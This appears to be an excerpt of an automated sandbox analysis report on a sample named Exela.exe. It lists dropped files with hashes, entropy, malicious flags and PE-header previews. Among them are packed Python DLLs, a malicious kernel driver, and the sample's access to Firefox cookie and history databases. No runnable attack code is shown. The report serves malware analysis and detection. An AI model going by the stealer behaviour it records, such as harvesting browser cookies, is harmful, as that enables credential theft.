SHA-512:	A8433D5B403F898E4EEEBD72FCE08EBAD066CA60AEB0B70E2AE78377BABC2ACBBAE2AC91AB20F813CCE4B1DC58C2AD6B3868F18CC8AC0FE7BE2BFF020EB73122
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R..R..R...S..R......R...W..R...V..R...Q..R.....R.K.S..R..S..R.'._.X.R.'.R..R.'....R.'.P..R.Rich..R.........PE..d......c.........." ...". ......../...E.../...................................F...........`...........................................F.......F.d.....F.......B...............F.......................................E.@...........................................UPX0....../.............................UPX1..... ..../.....................@....rsrc.........F.....................@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\select.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24952
Entropy (8bit):	7.392326214954849
Encrypted:	false
SSDEEP:	384:6m71gl6dfHKsh8Za7gJXpDCI77G26IIYiSy1pCQ0AA7Pxh8E9VF0Nym5ty:J1gl65HKNp5DCI77G2WYiSyv87PxWEgC
MD5:	3797A47A60B606E25348C67043874FE8
SHA1:	63A33FEDFFD52190236A6ACD0FC5D9D491E3AC45
SHA-256:	312E9B01D1632840983E8533D1685A64FB87E4538F724A7A59A71B1BA148BBAC
SHA-512:	3EB7599825B7B21AAAB05E420DD16D4A8EAA21652D232F6E4EDE213A232B701401556E44DF73CFA20AE855D1ADC28304B52D42367B74EBD8E96C2E3D9A9B93E2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........].t.<r'.<r'.<r'.D.'.<r'.@s&.<r'.@w&.<r'.@v&.<r'.@q&.<r'i@s&.<r'.<s'.<r'.Ns&.<r'i@.&.<r'i@r&.<r'i@.'.<r'i@p&.<r'Rich.<r'........PE..d...&..c.........." ...".0..........@.....................................................`......................................... ...L....................`..............l.......................................P...@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	623480
Entropy (8bit):	7.993502110233887
Encrypted:	true
SSDEEP:	12288:MZNIrMyJHzTarSwdWd5Xhm/27cz5hQYuHDiL1IcUq4P8ryHn5+8ybL:UNPsHzTaWwdS5xV70QYMDiCc34e8nI82
MD5:	6A3A34C9C67EFD6C17D44292E8DB8FAD
SHA1:	339B1E514D60D8370EAEC1E2F2B71CEAD999F970
SHA-256:	7B0E840165D65F0F5285476467E4C154C4D936613966B84948110A4614B9CAD9
SHA-512:	6F2A1B670D28762745F0D3B961A331CBBB0DEC244F8798734B911B3A3BC9519C73A3B26F1E1117725F6F1E880E57CADB562A1450659BCA1AAE353F6B9575D7F5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......CG;..&U..&U..&U..^..&U.HZT..&U.HZP..&U.HZQ..&U.HZV..&U..TT..&U..&T..&U..Z]..&U..ZU..&U..Z...&U..ZW..&U.Rich.&U.................PE..d...X..c.........." ...".0...0............................................................`.............................................d"..................................x...........................................@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc....0...........,..............@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	294784
Entropy (8bit):	7.987175768019268
Encrypted:	false
SSDEEP:	6144:HudZUEjoXwDrGv4qJBd4R0u3FIp6O4LMHS+OsfW/+vzoFZ:8GEjyirGd+f3FIp7eMHS+CUUr
MD5:	FED35DB31377D515D198E5E446498BE2
SHA1:	62E388D17E17208EA0E881CCD96C75B7B1FBC5F7
SHA-256:	AF3CDC9A2A1D923BE67244429867A3C5C70835249E3573A03B98D08D148FE24B
SHA-512:	0985528CB0289086EC895E21A8947E04F732D5660460F2E7FA8668BD441C891438781C808BCEA9294F348720E3752C10EA65363371F7E75EA48600D016BAB72A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0...t..t..t..}...r..;...v..;...y..;...\|..;...w.....w......v..t..%.....u.....u...y.u.....u..Richt..........PE..d...(..c.........." ...".P..........@V... ................................................`..........................................{..X....y.......p..........<............{......................................@b..@...........................................UPX0....................................UPX1.....P... ...D..................@....rsrc........p.......H..............@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\yarl\_quoting_c.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	41984
Entropy (8bit):	7.855273475576537
Encrypted:	false
SSDEEP:	768:l9cI+dPPKdf1F9wj1SWBbDVnK3O047BshaLNL10cOWkuVb70FKKEIpmQ:EPKdUDh0M8mn9kupRKEVQ
MD5:	8640834733897205D9193E1B21084135
SHA1:	E452AE2DBABCC8691233428DD1DA5D23961B047D
SHA-256:	BD209AB04BA8A3A40546832380547A460B1257F4FB4B4012F6FC48F9C36CC476
SHA-512:	365805A31ED3EF7648FA2FAC49FECC0646DD5DFCAD8468918623D962DB6AAB08339F510EDCCDAF1340F8BFC06A4628C070DE947CDEC55CFABDC3563AF2DE43E7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:G.]~&..~&..~&..w^+.z&..o...\|&......\|&..o...}&..o...v&..o...r&...S..}&..~&...&.......&.......&....G..&.......&..Rich~&..................PE..d....Lg.........." ...*.........`.......p................................... ............`.............................................d...............................................................................@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_255uf4ic.vjy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ioj1lru.u3q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4fcnfi2v.a4a.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4s4d55pc.4ut.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4sc0uhpi.lew.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4seilnl3.ucs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ifjvzva.bqk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5x2e0q0d.luc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bvwa2cvg.dep.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fonfkeut.vub.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h1wzzila.z0q.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_idwjsyiz.r4z.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q5zgexqv.ury.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uvkdil5d.h0a.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vxi5iijp.g1q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vyaloivp.2tr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x44lpwl4.usd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zreqoge0.fxn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\grrdkexq

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:qn:qn
MD5:	3F1D1D8D87177D3D8D897D7E421F84D6
SHA1:	DD082D742A5CB751290F1DB2BD519C286AA86D95
SHA-256:	F02285FB90ED8C81531FE78CF4E2ABB68A62BE73EE7D317623E2C3E3AEFDFFF2
SHA-512:	2AE2B3936F31756332CA7A4B877D18F3FCC50E41E9472B5CD45A70BEA82E29A0FA956EE6A9EE0E02F23D9DB56B41D19CB51D88AAC06E9C923A820A21023752A9
Malicious:	false
Preview:	blat

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\Temp\__PSScriptPolicyTest_0em2nmw2.db3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_2244occl.ell.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_avz31ups.rid.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_gdpp1jfj.vju.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\ypynqohyxqjk.sys

Download File

Process:	C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
